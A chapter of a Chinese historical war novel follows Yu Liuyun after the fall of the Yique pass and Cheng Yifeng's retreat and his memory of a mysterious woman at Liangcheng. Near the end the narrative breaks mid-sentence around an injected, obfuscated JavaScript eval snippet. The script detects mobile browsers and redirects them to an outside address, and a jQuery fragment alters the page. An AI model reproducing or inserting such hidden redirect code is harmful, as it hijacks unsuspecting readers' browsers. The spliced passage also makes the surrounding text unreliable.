程亦风无奈地摇摇头:“夜间行船危险,现在天才亮,他若此时出发,总也要到午后才到呢。” “午后啊……”景康帝不知他这是安慰之言,喃喃地。又望望城下的码头,耿近仁的兵船就停泊在那里:“万一有什么变化……我们还是可以坐船离开的,是不是?” “是啊。”程亦风疲倦地回答,也朝那些兵船望了一眼:楚军来时意气风发,没想到一转眼就落到如此田地。“万一……”他都不敢想“万一”。 就在这时,忽然看到河面的晨雾中出现了一个小黑点,接着,渐渐变大了,正是传信兵的小艇。他的心剧烈地跳动了起来,三步并作两步就跑下了城去,不顾河滩上遍布怪石,迎上那两个传信兵:“怎样?司马将军怎么说?” “大人!”那兵士“扑通”跪下了:“司马将军不会来了。冷将军、向将军、董将军和鲁将军都在大堰关。他们听说耿将军先头部队失利,觉得现在就算渡河,也只能得到依阕关一座孤城,要以此为根据地和樾军作战,实在太困难了。司马将军倒是想来支援我们的,可是大军由他们五人共同节制,其他四人不同意,司马将军也调不动人马……” “这……这就是让我们自己撤退了?”程亦风问。 “其实几位将军是想将我们自生自灭,不管我们的死活了。”那兵士道,“小的不忍弟兄们送死,所以……所以才回来报讯。大家赶快上船渡河撤退吧。” “啊……”司马非不能前来,这还不算是什么,毕竟出于战略的考虑,为夺一座孤城而劳师动众,万一陷在北方就不划算了。但真正叫程亦风感觉痛心疾首的是,那几位将军竟然想让远征的同胞自生自灭,这还有一点儿血性么! 感觉愤怒正冲上自己的头脑,对追上来的景康帝道:“陛下,你先上船,不要多问了。”接着就飞奔回了依阕关内。 他知道现在的首要任务是把尽可能多的战士撤退到战船上,同时挡住敌人,至少让船只平安驶离码头。然而这并不是一件简单的事,只要城楼的抵抗稍弱,樾军就会立刻登城而来。到时候撤退的楚军就成了活靶子。 要怎么做呢?要怎么做才好呢?他把目光停在了坚实的城门上。 2. 第 2 章 战场上空食腐的乌鸦在盘旋。一场恶战之后,樾军战士大多倒在泥地里睡着了。以寡敌众的一场战役,己方伤亡还不到两百人,大家的心里先是有一种劫后余生的喜悦,接着又转为胜利的狂喜,很多人连说梦话都还在笑。 夜晚阴冷,又飘起小雨。浸饱了水分的松树枝无法点火取暖。大家把楚军逃窜后留下的帐篷、车辆等烧着,一堆一堆的火焰,把营地分成一个一个暖黄色的小圈。石梦泉擎着火把拿着食物,找了一大圈,才看到玉旒云,正坐在营地尽头的一块大石头上,怔怔地望着南方——也就是依阕关的方向。 他走到了跟前,一纵身跳上了巨石,将食物递给玉旒云:“将军……” 玉旒云却没有接,依然眼望前方。 石梦泉笑了笑,道:“怎么,将军是还在生我的气么?” “没有。”玉旒云简短地。 “如果没有,将军为什么打了胜仗反而在这里不吃不喝,愁眉不展?”石梦泉说着,忽然跪倒,“将军,是卑职未经将军的同意就向郢城求援,请将军把卑职按军法处置。” “都说了我没生气了!”玉旒云转过身来,脸上分明有怒容,“你起来!” 石梦泉跪着不动。 玉旒云一跺脚,跟着“嗖”地将那火把踢飞了出去,像是一道流星,划破黑暗。“好吧。我的确是不喜欢那几个半截入土的老家伙知道我这一仗打得如此辛苦,所以才坚持不肯求援。不过——你认识我多少年了?” 石梦泉一愕,顿首道:“回将军的话,十五年了。” “十五年了。”玉旒云道,“你还不知道我的脾气?我这个人喜欢钻牛角尖,认着一个目标一条路就其他什么都不看了,连脚边有石头或者陷阱都不晓得——姐姐让你在我身边,不就是时刻帮我看清道路吗?” 石梦泉怔了怔:“将军,我……” 玉旒云道:“我坚持不肯求援,无非是气不过那几个老家伙——哼,赵临川有勇无谋,梁城我下令佯退,他非说我逃跑,还参了我一本;吕异,蠢材一个,我五渡冀水,他以为我把打仗当儿戏,到处和人说我不懂兵法;刘子飞贪婪凶残,攻下郢城时,他非要纵兵三日,为了这事,我也和他闹翻了脸——我追击馘军余部,他们个个都巴不得我孤军深入死在馘国。要我向他们求救,他们岂不乘机大做文章,说我不会带兵,全是靠姐姐才当上将军——还真不如战死算了。” “还有岑广将军和司徒蒙将军嘛。”石梦泉道。 “岑老将军倒是值得尊敬。”玉旒云眼里有冰冷的笑意,“至于司徒蒙,别的本事没有,见风使舵,谁也比不上他。别看他每次都出来做和事老,他日不管谁遇上了麻烦,第一个在背后捅刀子的,一定是此人!” 石梦泉并不习惯以恶意揣度他人,不过那几位老将军看不得玉旒云才一外放就连立奇功,的确经常说话诋毁。十五年的风雨相伴,他清楚,玉旒云眼里容不下沙子。要向赵临川等人低头,当真宁可战死。 “敌人三万精兵,后面说不定还有援军。”玉旒云幽幽道,“我们只一万人,即使侥幸打赢了这一场,闯过去撞到他们的援军,岂不是一点胜算也没有?你就是这样想的,才向郢城求援的吧?” “将军自己不也想到了么?”石梦泉微微笑着。 “我现在冷静下来,当然想得到了。”玉旒云道,“所以,作为下属,你不经我同意私自请求援军,我的确应该办了你。但是作为朋友,你一点儿都没有错。虽然赵临川带兵来时对我冷嘲热讽,不过现在如果不是他继续追击去依阕关,我们岂能在这里休息?只怕还在行军呢!”说到这里,又是一跺脚:“咱俩是什么关系你,你动不动就跪我——混蛋!” 石梦泉这才站了起来。 玉旒云瞥了他一眼:“怎么,莫非现在你是在生我的气了?” “我……”石梦泉怔了一下,知道玉旒云指的是处决俘虏的事——当时楚军第三阵骑兵仓皇撤退,玉旒云恐怕他们会搬救兵来,又或者附近还埋伏其他的楚军。樾军已经是强弩之末,无法再战。为了威慑敌人,玉旒云下令将六百余名俘虏全部就地处决。石梦泉当时是反对的,而且就在处决完俘虏之后,赵临川也带着樾军援兵赶到了。这一场血腥完全没有必要。“将军也是不得已而为之。”他道,“卑职那时候反对得也……太妇人之仁了。” “是么?”玉旒云扬起眉毛,“你是妇人之仁呢,还是因为之前瞒着我向郢城求救,所以算准了救兵会在那时候到来,所以用不着杀俘虏?你小子,是不是梁城和冀水都没给你建功的机会,这次特特来算计我一下,好让人知道你比我更会带兵?” “卑职……”石梦泉方要辩解,却看玉旒云咬着嘴唇在笑,才反应过来这是玩笑话,把后面的道歉之语咽了回去。 “好啦。”玉旒云拍拍他的肩膀,“这次凯旋回京,你也应该升任将军了——连赵临川、吕异这些饭桶都能做将军,你怎么不能?” 凯旋,石梦泉看着那信心十足的脸:玉旒云从不言败,这是个性使然。虽然在有些人看来是狂妄自大,但是他觉得,这也正是玉旒云战无不胜攻无不克的原因。就好像这一次,如果不是玉旒云鼓舞士气又和士兵们并肩作战,怎么可能击败耿近仁的三万大军? 他看了看玉旒云,胳膊上有伤口,只是随便包扎了一下,污血和泥水已经将那布条染成了黑褐色。“将军,你的伤要重新处理一下吧?” 玉旒云低头看了看,满不在乎:“都不知道是什么时候弄伤的,也没觉得疼——你非提起来,不就是要我觉得疼么?” 石梦泉摇摇头:其实玉旒云有很孩子气的一面,只是不肯在外人面前显露罢了。“哎,你脸上也割破了——”他伸手一指。 玉旒云摸了摸:“小伤而已——有人被箭射穿了脑袋呢,这算什么——”看石梦泉那样关切地盯着自己,年轻的将军“扑哧”一笑:“怎么,你不是也想像姐姐一样,说什么‘弄伤了脸不好’之类的?石梦泉啊石梦泉,你是我的副手,不是我的奶妈!” 石梦泉不回嘴,由着玉旒云玩笑,待笑够了,才把这孩子气的将军硬推坐下,动手解胳膊上肮脏的布条,又从水囊里倒清水出来洗验伤口——大概是因为包扎得太久了,凝固的污血和泥浆把布条和伤口粘在一处,好半天也解不下来。最后玉旒云都不耐烦了,自己伸手一扯,硬是将布条拽掉了,而伤口的鲜血也涌了出来。却也不喊疼,只是轻轻咬了咬嘴唇,道:“这不是快很多?你那样小心翼翼,当我是纸糊的么?这点小伤死不了人。” 石梦泉可不理会这小孩子似的的逞能,拣自己衣服上一块干净的布撕了下来,小心地包扎。他想起初次见面,自己随着母亲去投奔在庆王府做侍女的姑妈。拜见庆王妃玉朝雾时,见到了这个依偎在王妃身边的玉旒云。是那样的俊秀,又是那样的瘦弱,比雪还要白的脸上,一双黑胜点漆的眸子,似乎有许多想说又说不出的话语。这双眼睛立刻就吸引了自己全部的目光。那时,他就已经暗暗发誓要一辈子守护这个人。到今天,十五年过去,玉旒云受过多少次伤,他就有多少次没有兑现自己的诺言。 看到那因为疼痛而紧皱的眉头,以及脸上故意装出的若无其事的样子,他只有更加心疼:“天亮之后我们可以启程回郢城,要让军医好好看一看。” “知道啦。”玉旒云道,“等天亮听到赵临川的消息再说。” 黎明时分没有听到赵临川的消息,到中午也没有。玉旒云的脸色开始越来越阴沉,连石梦泉也有了不好的预感。赵临川有五万人马,即便真是对付像依阕这样“一夫当关万夫莫开”的险关,用闯的,用撞的,硬打也打下来了。这么长时间也不见报捷,显然是出了变故。 “看来我们一定要去看一看。”玉旒云道。因命令重伤的士兵留下休息,轻伤的士兵负责防守,自己只带了还行动自如的三千多人,套了楚军前日赶散的军马,向依阕关进发。 石梦泉很是担心:“如果真的有变故,我们只有三千人,不会太冒险了么?” “如果真的有强敌把赵临川的五万人都杀光了,我把剩下的伤病都带上,还不一样是送死?”玉旒云冷冷的,又像自言自语:“楚国的鼠辈到底在搞什么名堂?” 大军行进,走到快一半的时候,终于看到有传信兵踏着烂泥策马而来。玉旒云命令部队稍停,那传信兵就滚下了马,道:“将军,依阕关拿下了!” “拿下了?”玉旒云看这传信兵模样狼狈,“出了什么事?你们怎么——” “我军阵亡过半。”那传信兵道,“连赵将军也……也阵亡。” “什么?”玉旒云一惊,不由提高了声音,眼中也射出了冷光,那传信兵被吓得一屁股跌坐在烂泥里,“赵临川死了?”虽然对这个只晓得蛮干的老将没什么好印象,但是他带了五万人追击楚国区区几千人到依阕关,却弄了个伤亡过半,还搭上了自己的性命,莫非依阕关有大量敌军?但若然如此,又是怎么最终把依阕拿下来的? 石梦泉见小兵被吓坏了,就出言抚慰道:“你不用惊慌,照实说,玉将军不会怪罪你的。” “是……”那传信兵打着哆嗦,“赵将军率领我们来到依阕关,楚军龟缩在城里不出来。我们攻了一夜,也没有攻进去。不过天亮后没多久,城上了防守突然减弱了很多。我们以为是敌人支持不下去了,就打算登城,谁知道城楼上忽然来了个书生。” “书生?”玉旒云皱眉。 “也不是书生。”传信兵道,“应该是楚军中书记官之类的文官。看起来很穷酸的样子,却大摇大摆地在城上同我们喊话。” 竟有这种事?樾军士兵听着都觉得万分奇怪,唯独玉旒云若有所思,仿佛想起了往事。“他喊什么话?” “他……那书生先念了几句诗,然后就问赵将军有没有雅兴跟他一起到城楼上边饮酒边做几首边塞诗,什么‘无端迷魂惊落雁’的……”传信兵说道。 摆空城计吓人?石梦泉立刻就想到戏台上常有的故事:赵临川不至于上这个当吧? 传信兵接着说下去:“开始大家都有点拿不准,停止了攻击。那书生就在城楼上哈哈大笑,说风凉话,道:‘怎么,难道你们不敢么?难道你们怕我在城里有埋伏?’我们也怕了,就想看赵将军怎么定夺。”传信兵顿了顿,让自己的喘息稍稍平复下来,才道:“赵将军想了想,就道:‘老子不信你城里真能有伏兵。你们这些楚人就会玩这花样——空城计,只能骗岑广而已。老子这就上来跟你饮酒——不过老子不会作诗,只会杀人。’那书生听了,一点儿也不害怕,反而笑得更开心了,道:‘哈哈,将军说错了。不是楚国人都爱摆空城计,是我程亦风喜欢摆空城计。十五年前在凉城和三、五歌姬寻欢作乐就把贵国平北大将军吓得不敢攻城的,就是区区不才在下。今天我又到城上来风花雪月了,将军觉得我这一次手里有兵没有?’” 兵不厌诈,石梦泉听到这番话不觉心中骇异,虚则实之,实则虚之,原来对方还是个颇有来头的人物。不过,程亦风这个名字,却十分陌生啊!他看了一眼玉旒云,见后者神情古怪,惊中仿佛带喜,难以捉摸——朝夕相伴十五年,还很少有看不透对方想法的时候。 “继续说!”玉旒云命令。 “是。”传信兵道,“当时大家都想,没有人敢把空城计摆两次的,应该城里是真的有伏兵了。但是赵将军却以为敌人一定是虚张声势。这样对峙了一会儿,程亦风就在城楼上打呵欠,说:‘怎么样?商量好了没?究竟城中是只有我一个人呢,还是埋伏着精兵?不如你们自己进来看一看就知道了。’他说完,依阕关的城门竟然真的打开了。” “敢这样,那还不是空城计?”樾军队伍里有人忍不住插嘴。 “赵将军当时也是这么想的。”传信兵道,“所以就真的走进依阕关去,城里空空如也,当真是一个人也不见。他一边回头来骂程亦风,一边命令部下们都进入堡垒里。依阕关不大,大概只容下我们一半人。当好几队人马都走进城时,我们外面的人发现,不知何时,城楼上的程亦风不见了。正以为他是诡计被识穿,所以躲起来了呢,忽然依阕关的大门又关了起来。我们知道事情有变,才上前想推门,就听到里面惨叫之声。接着,火光冲天……” “够了!”玉旒云不需要再听后面的事,一扬鞭子,疾驰向前。石梦泉也赶紧催马跟上。三千人马以最快的速度在泥泞的谷地奔驰,两个时辰之后,来到了依阕关下。 依阕关闻名天下,传说上古时青帝和白帝两部落交战,共在大青河两岸修筑了一十二座堡垒,千百年来,其他的堡垒都倒塌了,有的被重建数次,有的则连遗迹也不可寻。唯独依阕关屹立不倒。因为与其说这座雄关是依山势而建,不如说是在山石上雕凿出来的。城墙的大体和落雁谷两侧相连,城楼则是用整块的白石砌成。馘国建立之后,加固依阕关,南北两边的城门都换成了巨大的白石,外头还用青铜嵌上尖钉,除非从城里启动机关,否则谁也别想打开,更别想撞坏。依阕关已经成了大青河上的神话。 然而现在伫立在玉旒云和樾军面前的依阕关已经完全看不到传说中那青白相间的美丽,到处是漆黑的烟熏痕迹,樾军的尸体遍布城里城外,空气中弥散着肉身烧焦的恶臭。 赵临川的部下多是在攻打铴国的战役中就认识玉旒云了,虽然知道赵临川很看不顺眼这个初出茅庐的亲贵子弟,然而玉旒云用兵如神,石梦泉视战友为手足,大家有目共睹。这时,他们的主将已死,他们就好像失了牧人的羊群,茫然若失,见到了玉旒云就不由自主地围了上来:“玉将军……” 玉旒云飞身下马,并来不及招呼那些士兵,就大步朝依阕关里走去。石梦泉虽紧跟其后,但还是稍停了停,拍拍当先一个士兵的肩膀,道:“不要这么愁眉苦脸的,始终是打了胜仗。你们这样子,赵将军在天之灵如何安息?” 追着玉旒云来到依阕关内,踏着烧焦的尸体爬上城楼。倚南面城楼向大青河望去:楚国的兵船早已到了对岸,黄浊的河水滚滚东去,仿佛是说,一切要发生的,人力无法阻挡。 玉旒云狠狠地一拳捶在箭垛上。 “其实,”石梦泉想说两句缓和气氛的话,“我们西征的目的是消灭馘国,不是已经圆满完成任务了么?楚国那批不过是想趁火打劫的强盗,现在落荒而逃了,将军何必劳神?将来有有的是机会收拾他们呢。” “我不要将来!”玉旒云突兀地打断,又在那箭垛上擂了一拳,连指节出血都不在乎,“十五年——十五年来我是为什么?你难道不知道么?我第一次和楚国的鼠辈们交锋,竟然就弄得如此狼狈。可恶!” 石梦泉默默地。玉旒云这十五年来废寝忘食地读书、习武,放着舒舒服服的御前一品侍卫不做,非要外放出来带兵打仗,无论受了什么伤都一声不吭,还要默默忍受赵临川、吕异等老将的冷嘲热讽……目的只有一个,那就是灭亡楚国。 玉旒云憎恨楚国。这一点石梦泉十分清楚。不过个中原因,他却一直都不明白。只记得十五年前的有一天,玉旒云拿着一把剑在花园里疯狂地劈砍。他想要去阻止,却又被那冰冷刺骨的眼神所震慑。他只有愕然地看着。待力气用尽了,玉旒云才拄着剑喘息,然后一字一字地道:“我要灭了楚国!我一定要灭了楚国!”那单薄的身影看来如此孤立无依。当隐藏着太多秘密与负累的黑眼睛看向了自己,年仅九岁的石梦泉不假思索地跪了下来,说:“我帮你。”从此,一起流汗、流血,直到今日。 不是不好奇。只是,直觉告诉他,玉旒云不想别人提出这个问题。而他自己也觉得什么原因根本就无所谓——那是玉旒云的目标,只有达成了,才能结束多年的煎熬。 河面上的凉风吹来,玉旒云盛怒的头脑渐渐冷静:“我不是发你的脾气。” 石梦泉耸耸肩:“无论是做下属还是做朋友,都是要给你发脾气的嘛。” “你这话说的!”玉旒云忍不住笑了,“你要是有脾气也可以朝我发啊,不过——”侧头打量着对面这张温和淡定的脸:“不过,你怎么好像都没脾气呢?” 石梦泉也笑笑:“我怎么没有脾气?如果将军再这样拿自己的拳头出气,我只好发一下脾气,抓你去见军医了。” “小意思,小意思!”玉旒云摆摆手,“既然整个馘国都占领下来了,大军就要回西京。见姐姐之前你还怕我不把这些伤都医好了?” “将军自己知道就好。”石梦泉道,“只怕你一动起怒来就把这些都抛到了九霄云外。军医就算是神仙,治疗的速度也赶不上将军受伤的速度。那样,无论如何也瞒不住皇后娘娘的。” “所以才要你提醒我呀。”玉旒云拍了拍他的肩膀,但是却没有把这轻松的关于凯旋的话题继续下去。不自觉的,那漆黑而冰冷的眸子又转向了大青河和对面的楚国:“程亦风……哼,有意思,不知什么时候会再次在战场上相逢?” 此时身在大青河彼岸的程亦风当然听不到敌将这句意味深长的话。虽然是带着幸存的六千三百名骑兵、景康帝以及原依阕关的馘军成功逃命回到祖国,但是他晓得,他毕竟是从耿近仁的进攻计划中私自撤退出来的,不管继续按照耿近仁的打法会不会全军覆没,临阵脱逃之罪始终是甩不掉的了。加上他十五年前那“越权祸国”的纪录,他这次还不知道要被怎么处置呢。反正他也厌倦了这宦海沉浮的生活,索性引咎辞职,告老还乡! 因此他甚至没有到大堰关内拜见各位将军们,就把一封辞呈托给了景康帝:“请陛下体谅,下官这是为了保命。如果不这样,说不定被当逃兵问罪了呢。” 景康帝感激他救命之恩,道:“朕虽然是亡国之君,但毕竟还是天子。一定在几位将军面前替程大人美言。相信解释清楚当时的情况,几位将军也会谅解的。” “多承陛下担待。”程亦风拱了拱手,“下官就此别过。” “程大人这样……”景康帝想说“身无分文”,但没有出口,只直接问:“打算到哪里去?” 程亦风却不在乎人家说他身无长物:“哦,下官当年因为‘越权祸国’在这前面不远的安德县做过县令,还有朋友住在那里,就去投奔他。”说时,再次拱了拱手,算是“后会有期”,便沿着官道朝东南方走去。 其实他没有把故事说全:他在安德做县令共是八年时间。这八年里,开头很是郁闷,不是旱就是涝,饥民成群,流寇四起,他管也管不来,几次想挂冠而去;后来慢慢整顿法纪,兴修水利,与民同乐,也做得有滋有味起来。正打算安心在这小城终老的时候,他官员考绩时的一篇关于治理地方财政的策论被当时的户部尚书看中。程亦风因重被起用,官复六品,做了国子监司业。不久,又升任户部员外郎。 户部管的是天下生计,程亦风在地方上见多了百姓疾苦,体味得朝廷许多旧法的害处,这职位正对他的兴趣。于是,他日里办差,夜里苦读古人典籍,寻求革除积弊之道。历三年,写札记百万言,终于有了些眉目。 可偏偏此时,樾国皇室内部兄弟阋墙,为了皇位斗得你死我活,许多军官也都搅和其中,樾仁宗无心扩张,前方的将军又疏于防守,楚国乘机夺回了许多失地。贪心不足,便议论是否要乘胜追击出兵,将樾国这危险的对手彻底铲除。朝中一派主张主动出击,攻入樾国,一派主张修筑堡垒,以守为攻,两下里互不相让,终演变成了一场旷日持久的党争,一直到去年,也即元酆二十一年才以主守派的失败而告终。 程亦风在党争之中两边都不靠,一心一意只搞他的新法。可在主守派倒台时,他却被牵连了。原因很简单,就是当年的一场“空城计”,让他也成了“胆小怕事”的“缩头乌龟”。他连辩解的机会也没有,就被左迁为耿近仁的督粮官,被派到北疆冰天雪地的大堰关,又经历了这场和樾军的恶战。 当日同时被牵连的,还有程亦风同年好友原任翰林院侍读的臧天任。巧的是,臧天任被谪贬为安德知县,相当于是接了程亦风的班。安德和大堰关邻近,所以程亦风军旅无聊时,也常常去找老友喝酒诉苦。 这时,他就是想去安德投靠臧天任。 只是一河之隔,大堰关的天气比落雁谷好得多了。五月艳阳遍地,道路晒得又白又硬,树叶都反射着阳光,一闪一闪的,有无穷的生命力。安德一带在程亦风和臧天任的治下一片太平,田中庄稼可人,池塘中则有白鹅麻鸭扑翅欢歌。将来寄情于山水——种几亩薄田,养一群鸡鸭,写写诗,玩玩考据,或者也教两个学生,程亦风想,这也是很惬意的生活嘛。 心情好了,步子也就轻快,半途还遇到一个进城的农夫,给他搭了截牛车,黄昏时分,程亦风就来到了臧天任家。 两人分别已经快两个月,见了面自然欢喜。尤其程亦风是随军在外,臧天任见他平安归来,更是开心异常,立刻就让妻子准备了酒菜,拉了程亦风边喝边聊。程亦风少不了将落雁谷的事坦白跟老友说了,也连带地说了自己出世的打算。 臧天任听这鬼门关边转一圈的经历,咋舌不已——特别是程亦风冒险在依阕关引赵临川进城,然后和孙胜一起关上了城门火烧敌军,又靠着一棵大树从南面爬出了依阕关——这实在是惊险万分。“你也太冒险了。”他比程亦风年长十岁,说话常有兄长的语气,“你一个手无缚鸡之力的书生,竟然……唉,不过你是看不得同胞受苦的人。” “别给我戴高帽子。”程亦风道,“我是怕自己落到樾军的手中,死无全尸。朝廷里谁不知道?我胆小如鼠嘛……这一次……好像又做了越权的事,至于祸没祸国,就要看那些将军们最后怎么定夺了。万一‘引咎辞职’还不够,恐怕他们会来要我的人头。” 臧天任道:“老弟你也不要这么悲观。愚兄我说不定还能帮你说几句话呢。” “哦?”程亦风愣了一下,反应了过来,“臧兄高升了?” 臧天任笑了笑:“不是高升,不过是官复原职了,月底就要回京呢!” “哎呀,恭喜,恭喜!”程亦风连忙拱手道贺。替朋友高兴的同时,又不觉对自己的处境感慨:当年大家同科取中,他程某人春风得意宫花簪帽,臧天任却不过是二甲之中的末位,后来大家同朝为官,都是做些整理故纸的闲差,程亦风郁闷无比,就流连花街柳巷,只有同臧天任清谈才感觉胸中尚有一番抱负,两人也因此结为知己。谪守八年,程亦风从安德回朝,是臧天任同他一起研究改革之法。其后,两人又一同被贬出京……如今,臧天任终于复起,又可以回京继续为百姓请命,而他程亦风就……唉!不由叹了口气。 臧天任看透老友的心思:“你会安心退隐山林么?你根本就放不下经世济民之道。不如这样吧,你若不怕委屈,就跟我一同回京,先在我府里住着,等待复起的机会?” “不要,不要,不要!”程亦风连连摇手,“十五年啦,起起落落,古人经历我这一半浮沉就已经挂冠而去了。这是老天爷要告诉我,我不适合当官。怎么能明知前面是堵墙,还拿脑袋去撞呢?” 臧天任知他口是心非:“圣人云,知其不可为而为之。老弟你的学问应该比为兄好吧?” “学问?”程亦风酒量并不好,多饮了几杯就开始舌头打结,“学问有什么意思……我……我还是比较喜欢……诗词歌赋,风花雪月……醇酒美人……真要做学问,那也要‘红袖添香夜读书’……呵呵……” “你说醉话了。”臧天任道,“你十五年来经历这么多困难都没有引退,不就是一直想着要为朝廷为百姓做点事么?你难道不希望你那三万字新法札记能真的实现?” “错啦,错啦!”程亦风又饮一杯,“我十五年来浮浮……那个……沉沉,不是为了百姓……也不是为了朝廷……我是为了……为了一位小姐……” “越发胡说了!”臧天任知道程亦风虽然早年和几位才色俱佳的京城名妓交情不浅,但是没有一个称得上是红颜知己的。程亦风父母已亡,也没有人给他物色大家闺秀或小家碧玉。如今已过而立之年还是孤家寡人一个。自己每每和他提起这终身大事来,他总是一笑带过——他十五年来惦记着一个女人?臧天任才不信。“老弟,你别喝了。吃菜!” “我没胡说!”程亦风依旧自斟自饮,“是……当年凉城之围,我在城楼上……我搂着的那一个……” “那不是个歌姬么?”臧天任听他说得有鼻子有眼的,也跟着回忆起来。 “不……头几天我都是拉着歌姬。”程亦风道,“最后一天……她不是歌姬,一定不是。” 岑广退兵那一天臧天任病卧在床——就算在城楼上,也不记得程亦风拉着的是什么人了。“如果不是歌姬,那是什么人?你既然挂念着她,为什么没去找她?” “呵……她是什么人?我也不知道啊!”程亦风醉眼蒙胧,盯着手中的酒杯,好像能穿过那儿,回到从前似的—— 樾军退去后良久,看着平息的烟尘,程亦风两腿一软,就坐了下去,把他一直搂着的那个女子也带得一跤跌倒。然而这个年轻的女人却没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728583|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖叫,反而镇定地扶起了程亦风,接着,向他盈盈拜倒。“程大人——”她说,“多谢救命之恩。” 程亦风愣了愣,方才注意到这女子秀而不媚清而不寒,眉宇间一股愁怨,更三分尊严,根本不是他在歌馆舞榭里找来的风尘女子。“姑娘,你……” 那女子笑了笑,就像愁云惨淡的天空突然下起清丽的细雨。“谢程大人救小女子之命,谢程大人救全城百姓之命。”她说,向身后道,“小云,娘给你的小瓶子呢,快给姐姐拿来。”应声跑出一个七八岁的小女孩,将羊脂小瓶递到女子的手上。程亦风傻愣愣看着那与瓶子一样白净的手,奉上一颗鲜红的药丸,然后听见那红药丸一样鲜红的唇,吐出温柔关切的话语:“这是八珍益气丸,程大人服了吧。” “多……多谢……”程亦风低声道,同时心里想着,这女子若不是歌姬,这样冒犯的搂着她,该要如何道歉?坏人名节,他愿娶,人家愿不愿嫁呢? 一时的腥风血雨,化了风花雪月。 可是,他正做春梦,那边厢却风风火火跑出三五个仆妇来,连哭带嚷,围着那女子道:“终于找到您了……您要是有三长两短,我们可怎么交代呀!皇上知道了,奴婢们要掉脑袋的。” 程亦风心里一怔:皇上——她是谁? 他不及问,女子也不及答,一声叹息叫人心碎。 “老弟,你倒是说呀!”臧天任推着他。 “自古最是相思苦,垂杨偏障离人目。烽火楼头人渐远,鸿雁几时为传书?”程亦风喃喃地念着,想:城楼一别,再也没有见过——像她那样一个好人家的姑娘,应该早就嫁了人,儿女成群了吧! 意识越来越模糊,他终于“咕咚”一下脑袋撞在桌子上,睡着了。 既喝多了酒又实在是累坏了,程亦风睡得很沉,连梦都没有做一个,感觉阳光刺眼时,才迷迷糊糊地醒过来。他揉揉眼睛,看清楚自己是身在臧天任家的厢房,而不是落雁谷的军帐,才确定自己是真的拣回一条命。然而一望窗边,却有一条魁梧的人影坐着,他瞪大眼睛一看,不禁吓了一跳:这不就是楚国破虏大将军司马非么?什么瞌睡都被唬走了,一翻身跳下床来:“司马将军……你……你怎么来了?” 司马非从前号称是楚国的不败之将,就是十五年前程亦风的空城计扰乱了他的计划,弄得他后院失火狼狈万分,所以他一向只叫程亦风是“书呆子”。可是今天却例外。“程大人休息好了么?”他问道,“休息好了就跟我走。” 程亦风一愣,暗想:看来引咎辞职也没用,是要军法处置了。事到临头,君要臣死臣不得不死。他索性洒脱地一笑:“没休息好又怎样?将来有的是时间睡呢!” “什么?”司马非是个粗豪汉子,没听出来他这是萌了死志,准备去睡棺材了,瞪了他一眼,道:“将来哪有时间给你睡。你会忙得很!” “不砍我头?那是要充军流放?”程亦风问。 司马非一愕,接着哈哈大笑起来:“砍头?流放?程大人你可真会开玩笑——不错,冷千山他们几个都说你临阵脱逃害死了耿近仁,所以应该将你凌迟处死。不过老子却觉得,从一开始就是耿近仁他娘的计划失误——战场的情形馘国皇帝都跟我说了,如果能保持阵型,早就把樾军踩成了肉酱,他却搞得乱七八糟,自己人踩自己人。所以这是他活该。你当机立断保存了六千多骑兵,接着又在依阕关斩杀了樾国的赵临川——” “下官没有‘斩杀’。”程亦风道,“我只是放了一把火,都不知道有没有烧死赵临川。” “哈!他娘的!”司马非笑骂,“你这书呆子也真是有意思。不知道是你真的有点儿歪才呢,还是走狗屎运?这就把樾军最勇猛的一个老将给杀了——不管怎么样,我已经保了你。我说你随机应变,扭转败局,不但无过,而且有功。你是落雁谷之战的大英雄。” “啊?”程亦风吓得跌坐在地,呆了半晌,才道:“将军莫非是拿下官开心么?这次出征馘国,没有拿下半座城池,而赔上了那么多条性命。我侥幸逃命成功,怎么能说是扭转败局?我军还依然是惨……” “哎——”司马非阻止他说出那不吉利的“惨败”二字,“你这书呆子,莫非不会计数?此一战,我方折损了两万多人马,又死了个耿近仁。樾军也折损了一两万人,又死了个赵临川——用耿近仁来换赵临川,还是挺划算的。” 程亦风目瞪口呆地听着这位将军算这笔“人命帐”,那些倒毙在异乡的大好男儿,那些儿子、兄弟、丈夫、父亲,最后就成了一个简单而模糊的数字——连确切的数目都懒得关心,然后还要加上一句“挺划算”……他感觉一种奇怪的情绪正从自己心里蔓延开。不过他并不想质问司马非。他反而想笑——也许这就是所谓的“出离愤怒”。 司马非倒还未留意程亦风的神色,兀自说下去:“和樾国决一死战是迟早的事——就我看,宜早不宜迟。那仁宗皇帝和他的几个兄弟把国家斗得乌烟瘴气,现在有点儿本事的人都死光了,这庆澜帝拣了个现成的便宜。龙椅都还没坐热,就急急忙忙派兵东征西讨,意图恢复他父兄在位时的盛况——可见他真是个蠢才。所以,要铲除樾国就要趁现在。”顿了顿,才终于看向了程亦风:“这节骨眼儿上,不能言败,否则岂不让那些主守派、主和派的胆小鬼们有死灰复燃的机会?” 程亦风愣愣的,却知道,假如自己开口,大概会说:“难道守不好?和不好?非要打仗死人才好?”但他同时也知道,冲动只会坏事。他已经不再是热血少年了。十五年的宦海沉浮把他的棱角都磨平了。 司马非见他一直沉默,皱眉头道:“莫非你真的是主守派?” “他不是主守派。”外头忽然响起了一个声音,接着就见楚国的耀武将军冷千山、扬威将军向垂杨、定国将军鲁崇明和保国将军董鹏枭一齐走了进来,四人簇拥着一个穿孝服的女子。臧天任跟在这群人后,仿佛正对自己家中一下来了这么多不速之客感到无奈。 “他不是主守派。”冷千山道,“他是逃跑派。” “冷千山,你——”司马非正要发作,这一身孝服的女子却一个箭步抢上前来,只见寒光闪过,她已经抢了司马非的腰刀,架在了程亦风的脖子上:“你这只晓得自己逃命的狗官,杀了你给千万阵亡的将士报仇!” “大胆!”司马非喝道,“哪里来的刁妇,竟然敢如此撒野——冷千山,向垂杨,你们几个究竟玩什么花样?” “她如何是刁妇?”冷千山道,“你不是要找落雁谷之战的英雄么?我告诉你,她就是了!” 